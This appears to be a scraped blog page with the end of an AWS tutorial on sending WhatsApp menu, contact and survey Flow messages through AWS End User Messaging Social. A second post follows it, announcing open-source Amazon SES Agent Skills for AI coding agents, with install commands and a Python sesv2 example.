        "type": "list",
        "body": {
            "text": "\U0001F37D\uFE0F Welcome to Bella Vista! Browse our menu categories in the following list:"
        },
        "action": {
            "button": "View Menu",
            "sections": [
                {
                    "title": "Main Courses",
                    "rows": [
                        {
                            "id": "pasta",
                            "title": "\U0001F35D Pasta Dishes",
                            "description": "Fresh pasta with signature sauces"
                        },
                        {
                            "id": "pizza",
                            "title": "\U0001F355 Wood-Fired Pizza",
                            "description": "Authentic Italian pizza"
                        }
                    ]
                },
                {
                    "title": "Beverages",
                    "rows": [
                        {
                            "id": "wine",
                            "title": "\U0001F377 Wine Selection",
                            "description": "Curated Italian wines"
                        },
                        {
                            "id": "cocktails",
                            "title": "\U0001F378 Signature Cocktails",
                            "description": "Handcrafted cocktails"
                        }
                    ]
                }
            ]
        }
    }
}

Contact messages

Contact messages share vCard-formatted contact information, useful for sharing business contact details with customers.

Contact message example

The following is an image of an example contact message.

Customers can choose to directly message the contact, save the contact to their contacts list and view details about the contact in a pop up.

Code example

The following is a code example for the previously mentioned image example.

message_data = {
    "messaging_product": "whatsapp",
    "to": config['destinationPhoneNumber'],
    "type": "contacts",
    "contacts": [
        {
            "name": {
                "formatted_name": "AnyCompany Customer Support",
                "first_name": "Customer",
                "last_name": "Support"
            },
            "org": {
                "company": "AnyCompany Inc."
            },
            "phones": [
                {
                    "phone": "+1-555-0123",
                    "type": "WORK",
                    "wa_id": "15550123"
                }
            ],
            "emails": [
                {
                    "email": "[email protected]",
                    "type": "WORK"
                }
            ],
            "urls": [
                {
                    "url": "https://www.anycompany.com",
                    "type": "WORK"
                }
            ],
            "addresses": [
                {
                    "street": "123 Business Ave",
                    "city": "Seattle",
                    "state": "WA",
                    "zip": "98101",
                    "country": "United States",
                    "country_code": "US",
                    "type": "WORK"
                }
            ]
        }
    ]
}

WhatsApp Flows

WhatsApp Flows can help power interactive experiences. Note that a verified WhatsApp Business Account is required to use WhatsApp Flows. There are two general types of WhatsApp Flows:

  • Without an endpoint — Results are stored and can be viewed directly within WhatsApp Manager. This is the type demonstrated in this post.
  • With an endpoint — Results are sent to an API endpoint that you specify for further processing.

WhatsApp Flow – survey

This is an example of a WhatsApp Flow without an endpoint that sends a product survey to customers. Since this flow doesn’t use an endpoint, the results can be viewed directly within WhatsApp Manager.

Create WhatsApp Flow using Flow Playground

First create a WhatsApp Flow using the Flows Playground on the Meta for Developers website.

You can use the following JSON in the editor to use the example flow that we’re creating.

{"version":"7.2","screens":[{"id":"QUESTION_ONE","title":"Question 1 of 2","data":{},"layout":{"type":"SingleColumnLayout","children":[{"type":"Form","name":"form","children":[{"type":"TextHeading","text":"What product categories interest you?"},{"type":"CheckboxGroup","label":"Choose all that apply:","required":true,"name":"product_categories","data-source":[{"id":"electronics","title":"Electronics"},{"id":"fashion","title":"Fashion"},{"id":"home","title":"Home & Living"},{"id":"beauty","title":"Beauty"}]},{"type":"Footer","label":"Continue","on-click-action":{"name":"navigate","next":{"type":"screen","name":"QUESTION_TWO"},"payload":{"product_categories":"${form.product_categories}"}}}]}]}},{"id":"QUESTION_TWO","title":"Question 2 of 2","data":{"product_categories":{"type":"array","items":{"type":"string"},"__example__":[]}},"terminal":true,"success":true,"layout":{"type":"SingleColumnLayout","children":[{"type":"Form","name":"form","children":[{"type":"TextHeading","text":"What's your typical budget?"},{"type":"RadioButtonsGroup","label":"Choose one:","required":true,"name":"budget_range","data-source":[{"id":"under_50","title":"Under $50"},{"id":"50_150","title":"$50 - $150"},{"id":"over_150","title":"Over $150"}]},{"type":"Footer","label":"Submit","on-click-action":{"name":"complete","payload":{"product_categories":"${data.product_categories}","budget_range":"${form.budget_range}"}}}]}]}}]}

Afterwards you will be prompted to create the template to attach to the flow.

Create WhatsApp template using AWS CLI

Step 1 — Create a file named anycompany_survey_template.json in your working directory with the following template definition. Notice that the Flow JSON is embedded directly in the flow_json field of the button component:

{ "name": "anycompany_survey", "language": "en_US", "category": "MARKETING", "components": [ { "type": "BODY", "text": "Hi! We're AnyCompany and we'd love to personalize your shopping experience. Take our quick 2-question survey!" }, { "type": "BUTTONS", "buttons": [ { "type": "FLOW", "text": "Start Survey", "flow_json": "{"version":"7.2","screens":[{"id":"QUESTION_ONE","title":"Question 1 of 2","data":{},"layout":{"type":"SingleColumnLayout","children":[{"type":"Form","name":"form","children":[{"type":"TextHeading","text":"What product categories interest you?"},{"type":"CheckboxGroup","label":"Choose all that apply:","required":true,"name":"product_categories","data-source":[{"id":"electronics","title":"Electronics"},{"id":"fashion","title":"Fashion"},{"id":"home", "title":"Home & Living"},{"id":"beauty","title":"Beauty"}]},{"type":"Footer","label":"Continue","on-click-action":{"name":"navigate","next":{"type":"screen","name":"QUESTI ON_TWO"},"payload":{"product_categories":"${form.product_categories}"}}}]}]}},{"id":"QUESTION_TWO","title":"Question 2 of 2","data":{"product_categories":{"type":"array","items":{"type":"string"},"__example__":[]}},"terminal":true,"success":true,"layout":{"type":"SingleColumnLayout
 ","children":[{"type":"Form","name":"form","children":[{"type":"TextHeading","text":"What's your typical budget?"},{"type":"RadioButtonsGroup","label":"Choose one:","required":true,"name":"budget_range","data-source":[{"id":"under_50","title":"Under $50"},{"id":"50_150","title":"$50 - $150"},{"id":"over_150","title":"Over $150"}]},{"type":"Footer","label":"Submit","on-click-action":{"name":"complete","payload":{"product_categories":"${data.product_categories}","budget_range":"${form .budget_range}"}}}]}]}}]}", "flow_action": "navigate" } ] } ] }

Step 2 — Run the following CLI command to create the template. The –template-definition parameter references the JSON file that you previously created:

aws socialmessaging create-whatsapp-message-template \
--region [AWS_REGION] \
--cli-binary-format raw-in-base64-out \
--id [WABA_ID] \
--template-definition file://anycompany_survey_template.json

Sending the WhatsApp Flow

After the Template and Flow are approved, a message can be sent with the following code.

message_data = {
    "messaging_product": "whatsapp",
    "to": config['destinationPhoneNumber'],
    "type": "template",
    "template": {
        "name": "anycompany_survey",
        "language": {
            "code": "en_US"
        },
        "components": [
            {
                "type": "button",
                "sub_type": "flow",
                "index": "0",
                "parameters": [
                    {
                        "type": "action",
                        "action": {
                            "flow_token": "survey-12345",
                            "flow_action_data": {
                                "screen": "QUESTION_ONE"
                            }
                        }
                    }
                ]
            }
        ]
    }
}

WhatsApp Flow survey example

The Flow will appear with the message body specified and a link to start the survey.

The recipient can provide their answers on each page of the Flow which can be submitted at the end.

After providing inputs, the Flow will show a completed message.

Clean up

To avoid incurring future charges, delete the resources that you created during this walkthrough:

  1. In the AWS End User Messaging Social console, disassociate (unlink) the WhatsApp Business Account.
  2. Navigate to Message Templates and delete any test templates that you created.
  3. Delete any WhatsApp Flows you created in the Flow Playground on the Meta for Developers website.
  4. Review your Amazon CloudWatch Logs for any log groups created by the service and delete them if no longer needed.
  5. Optionally, if you provisioned a phone number in End User Messaging SMS just for WhatsApp release the phone number in End User Messaging SMS.

For templates created in WhatsApp Manager, you can also delete them directly from the WhatsApp Business Manager interface on the Meta for Developers website.

Conclusion

In this post, you learned how to send various WhatsApp Business message types using AWS End User Messaging Social, including text messages, media messages, template messages, location messages, interactive messages, contact messages, and WhatsApp Flows.

AWS End User Messaging Social provides a managed API that removes the complexity of maintaining your own WhatsApp Business API integration, so you can focus on building engaging customer experiences. The service handles the heavy lifting of managing WhatsApp Business API connections, template approvals, and message delivery, while providing you with a unified, consistent API interface.

Next steps

  • Explore advanced template features with dynamic content and media headers
  • Implement webhook handlers for incoming messages and delivery receipts
  • Set up automated message flows for common customer inquiries using Amazon EventBridge
  • Integrate with Amazon Connect for omnichannel customer support experiences

We’d love to hear about your experience! Share your use cases and implementation approaches in the comments.

Additional resources


About the authors

Getting started with Amazon SES Agent Skills for AI-assisted email development

Post Syndicated from Bruno Giorgini original https://aws.amazon.com/blogs/messaging-and-targeting/getting-started-with-amazon-ses-agent-skills-for-ai-assisted-email-development/

Building email infrastructure with Amazon Simple Email Service (SES) involves navigating identity verification, authentication protocols, configuration sets, bounce handling, and deliverability monitoring. Developers often spend time reading documentation and iterating on API calls before getting their first email sent correctly. AI coding agents can accelerate this process, but without domain-specific context, they frequently generate code using the legacy V1 API, skip authentication setup, or miss production requirements like tenant isolation.

Today, we are releasing Amazon SES Agent Skills, an open source set of agent skills that give AI coding agents the context they need to build email integrations correctly from the start. The skills work with Kiro, Claude Code, and any agent that supports the open Agent Skills format.

What are agent skills?

Agent skills are structured context packages that teach AI agents how to use a specific service correctly. Rather than relying on general training data (which may be outdated or incomplete), a skill provides the agent with validated patterns, common mistake avoidance, and step-by-step workflows for a specific domain.

When you install the Amazon SES agent skills, your AI agent gains access to:

  • The correct API version and SDK client to use (SES V2, not V1)
  • The required order of operations (verify identity before sending, create configuration set before going to production)
  • Production-ready patterns including tenant isolation, bounce handling, and email validation
  • Common mistakes and how to avoid them
  • Executable example scripts in Python, Node.js, and Java

Two skills, two use cases

Amazon SES has two distinct capabilities that use different API clients:

Skill Use case SDK client
aws-ses Sending email
(transactional, marketing, notifications)
sesv2
aws-mail-manager Receiving and processing inbound email
(routing, filtering, archiving, SMTP relay)
mailmanager

These are different APIs with different clients. A common mistake agents make without this context is mixing them up or using the legacy ses client for sending.

Installing the skills

Install both skills:

npx skills add amazon-ses/skills

Or install a specific skill:

npx skills add amazon-ses/skills --skill aws-ses
npx skills add amazon-ses/skills --skill aws-mail-manager

Once installed, the skill activates automatically when you ask your agent about email-related tasks.

What the agent experience looks like

After installing the aws-ses skill, ask your agent: “Help me send my first email with Amazon SES.”

Without the skill, an agent might generate code using the deprecated V1 API, skip identity verification, or omit a configuration set. With the skill, the agent follows the correct workflow:

  1. Verifies your identity is set up (domain or email address)
  2. Checks sandbox status and recommends simulator addresses for testing
  3. Creates a configuration set for event tracking
  4. Sets up a tenant for workload isolation
  5. Generates code using the V2 API with proper error handling

Here is an example of what the agent produces for a Python quickstart:

import boto3
from botocore.exceptions import ClientError

client = boto3.client('sesv2', region_name='us-east-1')

try:
    response = client.send_email(
        FromEmailAddress='[email protected]',
        Destination={'ToAddresses': ['[email protected]']},
        Content={
            'Simple': {
                'Subject': {'Data': 'Hello from Amazon SES'},
                'Body': {'Text': {'Data': 'This email was sent using Amazon SES V2 API.'}}
            }
        },
        ConfigurationSetName='my-config-set',
        TenantName='my-tenant'
    )
    print(f"Message sent: {response['MessageId']}")
except ClientError as e:
    print(f"Send failed: {e.response['Error']['Code']} - {e.response['Error']['Message']}")

The agent knows to use sesv2 (not ses), includes a configuration set for observability, uses a tenant for isolation, and sends to a simulator address for safe testing.

What the Mail Manager skill provides

For inbound email processing, the aws-mail-manager skill teaches the agent the core pipeline architecture:

Internet → Ingress Point → Traffic Policy → Rule Set → Action

The skill ensures the agent creates resources in the correct dependency order (traffic policy and rule set before ingress point), uses the correct condition syntax (union types with exactly one key per object), and waits for the ingress point to reach ACTIVE status before recommending DNS changes.

How the skills are structured

Each skill contains:

  • SKILL.md — The entry point that describes capabilities, common mistakes, and when to use the skill
  • references/ — Task-oriented guides for specific workflows (identity verification, configuration sets, tenant setup, troubleshooting)
  • scripts/ or examples/ — Executable code the agent can reference or adapt

The agent loads only the context relevant to your current task. Ask about sending email and it loads the sending guides. Ask about archiving inbound email and it loads the archive reference.

Prerequisites

To use the skills, you need:

  • An AI coding agent that supports the Agent Skills format (Kiro, Claude Code, or compatible tools)
  • An AWS account with Amazon SES access
  • AWS credentials configured (environment variables, shared credentials file, or IAM role)
  • The SDK for your language: Python (boto3), Node.js (@aws-sdk/client-sesv2), or Java (software.amazon.awssdk:sesv2)

Try it today

The Amazon SES Agent Skills are available now on GitHub:

Install the skills, ask your agent to help you send your first email, and see how structured context changes the development experience. If you find issues or want to contribute, open an issue or pull request on the repository.

Additional resources